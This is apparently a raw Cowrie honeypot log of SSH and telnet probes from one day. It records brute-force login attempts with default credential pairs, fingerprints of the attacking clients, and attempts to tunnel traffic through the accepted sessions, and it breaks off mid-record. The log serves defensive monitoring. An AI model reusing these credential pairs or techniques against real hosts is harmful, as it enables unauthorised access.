{"eventid":"cowrie.session.closed","duration":120.0065050125122,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:46:48.529096Z","src_ip":"137.184.5.188","session":"1216337ab60c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.96821975708008,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:14.214943Z","src_ip":"94.23.66.112","session":"2f23682e6d7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":42872,"dst_ip":"10.17.0.5","dst_port":23,"session":"f741442b4dca","protocol":"telnet","message":"New connection: 94.23.66.112:42872 (10.17.0.5:23) [session: f741442b4dca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:25.087925Z"}
{"eventid":"cowrie.session.closed","duration":0.0034666061401367188,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:25.091259Z","src_ip":"94.23.66.112","session":"f741442b4dca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":12778,"dst_ip":"159.203.135.109","dst_port":22,"session":"2734493107ea","protocol":"ssh","message":"New connection: 176.53.159.196:12778 (159.203.135.109:22) [session: 2734493107ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:27.159116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:27.162628Z","src_ip":"176.53.159.196","session":"2734493107ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:27.269984Z","src_ip":"176.53.159.196","session":"2734493107ea","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:27.573240Z","src_ip":"176.53.159.196","session":"2734493107ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:27.676033Z","session":"2734493107ea","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:27.777386Z","src_ip":"176.53.159.196","session":"2734493107ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:47:27.880800Z","src_ip":"176.53.159.196","session":"2734493107ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.88.42.180","src_port":40272,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bc1f3d9c206","protocol":"ssh","message":"New connection: 23.88.42.180:40272 (10.17.0.5:22) [session: 2bc1f3d9c206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:48:02.409680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:48:02.413948Z","src_ip":"23.88.42.180","session":"2bc1f3d9c206","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:48:02.511153Z","src_ip":"23.88.42.180","session":"2bc1f3d9c206","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lendingprotocol","password":"lending123","message":"login attempt [lendingprotocol/lending123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:48:02.805916Z","src_ip":"23.88.42.180","session":"2bc1f3d9c206","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:48:03.905100Z","src_ip":"23.88.42.180","session":"2bc1f3d9c206","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.156.182.84","src_port":62199,"dst_ip":"10.17.0.5","dst_port":22,"session":"eabb78fe0677","protocol":"ssh","message":"New connection: 87.156.182.84:62199 (10.17.0.5:22) [session: eabb78fe0677]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:49:30.056761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:49:30.071654Z","src_ip":"87.156.182.84","session":"eabb78fe0677","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:49:30.172710Z","src_ip":"87.156.182.84","session":"eabb78fe0677","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testu","password":"123456","message":"login attempt [testu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:49:32.044672Z","src_ip":"87.156.182.84","session":"eabb78fe0677","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:49:33.154053Z","src_ip":"87.156.182.84","session":"eabb78fe0677","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":41526,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f6122baa07b","protocol":"telnet","message":"New connection: 72.167.226.244:41526 (10.17.0.5:23) [session: 6f6122baa07b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:03.176392Z"}
{"eventid":"cowrie.session.connect","src_ip":"203.83.231.93","src_port":33178,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c871c25ecef","protocol":"ssh","message":"New connection: 203.83.231.93:33178 (159.203.135.109:22) [session: 5c871c25ecef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:18.734555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:20.121479Z","src_ip":"203.83.231.93","session":"5c871c25ecef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:20.125000Z","src_ip":"203.83.231.93","session":"5c871c25ecef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":44364,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ab241cac8ce","protocol":"ssh","message":"New connection: 103.82.132.16:44364 (159.203.135.109:22) [session: 6ab241cac8ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:24.520671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:24.525129Z","src_ip":"103.82.132.16","session":"6ab241cac8ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:24.776396Z","src_ip":"103.82.132.16","session":"6ab241cac8ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"198012","message":"login attempt [root/198012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:25.512229Z","src_ip":"103.82.132.16","session":"6ab241cac8ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:26.760051Z","src_ip":"103.82.132.16","session":"6ab241cac8ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93667435646057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:34.112932Z","src_ip":"72.167.226.244","session":"6f6122baa07b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.51","src_port":43303,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9a4f647fa5c","protocol":"ssh","message":"New connection: 192.42.116.51:43303 (159.203.135.109:22) [session: b9a4f647fa5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:49.266494Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":39776,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfa0d79f3016","protocol":"telnet","message":"New connection: 137.184.5.188:39776 (159.203.135.109:23) [session: bfa0d79f3016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:57.194326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.9","message":"Remote SSH version: SSH-2.0-OpenSSH_9.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:57.577955Z","src_ip":"192.42.116.51","session":"b9a4f647fa5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1cc79c7da9b5d5eead2c60983332a556","hasshAlgorithms":"sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 1cc79c7da9b5d5eead2c60983332a556","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:57.654375Z","src_ip":"192.42.116.51","session":"b9a4f647fa5c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:58.825657Z","src_ip":"192.42.116.51","session":"b9a4f647fa5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:98:c4:f3:12:ef:3e:29:38:34:62:21:fd:99:ec:ef","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdmvEhhfC8Hkqvut8spTxhahy1wKRJ/Bgy8HRDj6n+9EWntZc/L9zfjgReYfwWiZbNX5ziI4dv5lsUAMyCjbqxI4R0Vr5zoQf+YUrQ9nLwIjmkggnqPObpHoEz/n3xvNudIKXjWpEL3b5Be17y8vF01jzFc75asMXz5rLbYOi0EamMu5E+FxhaqNfMMasAkhpom4XfdF3/FZH41UTiaWhoZoPc8KcLJqotmlIZ/z04m0HI9w7l9l+wrUVuEGYbFTN4g3cCtDI21d4AH2JtIJkkKApW4ElLNGasOpid5lDWUHbhbrD4/6Um1u1SqyOmdKopIzkllPFqxJZMjwcw8f9v","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:58.828234Z","src_ip":"192.42.116.51","session":"b9a4f647fa5c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:50:59.183379Z","src_ip":"192.42.116.51","session":"b9a4f647fa5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"google.com","dst_port":443,"src_ip":"192.42.116.51","src_port":53230,"message":"direct-tcp connection request to google.com:443 from 127.0.0.1:53230","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:10.764882Z","session":"b9a4f647fa5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"google.com","dst_port":443,"ja4":"t12d3112h2_e8f1e7e78f70_64f78f54e6a2","message":"JA4 fingerprint for forwarded TLS to google.com:443: t12d3112h2_e8f1e7e78f70_64f78f54e6a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T21:51:11.497643Z","src_ip":"192.42.116.51","session":"b9a4f647fa5c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"google.com","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x80\\xed\\xa7\\xf5\\x12\\xdb\\xfe\\x86\\x8b\\x16B\\x10\\xeb\\x9e\\x89\\xdfd\\xe8_\\xb6\\xb4f\\xb9\\x98\\x8f\\x04!\\xb3c9\\xa8\\xdb \\xa5\\xec\\xdf\\xe6\\x85\\xc9\\x8e\\xa7[\\x1a\\xeb\\xb5\\x1e\\xacc\\xfchvja=\\x1b\\x03\\x95\\xb2p3\\\\C\\x00\\xf6\\xe1\\x00>\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\x00\\x9f\\xcc\\xa9\\xcc\\xa8\\xcc\\xaa\\xc0+\\xc0/\\x00\\x9e\\xc0$\\xc0(\\x00k\\xc0#\\xc0'\\x00g\\xc0\\n\\xc0\\x14\\x009\\xc0\\t\\xc0\\x13\\x003\\x00\\x9d\\x00\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01u\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ngoogle.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x000\\x00.\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x02\\x03\\x03\\x01\\x02\\x01\\x03\\x02\\x02\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\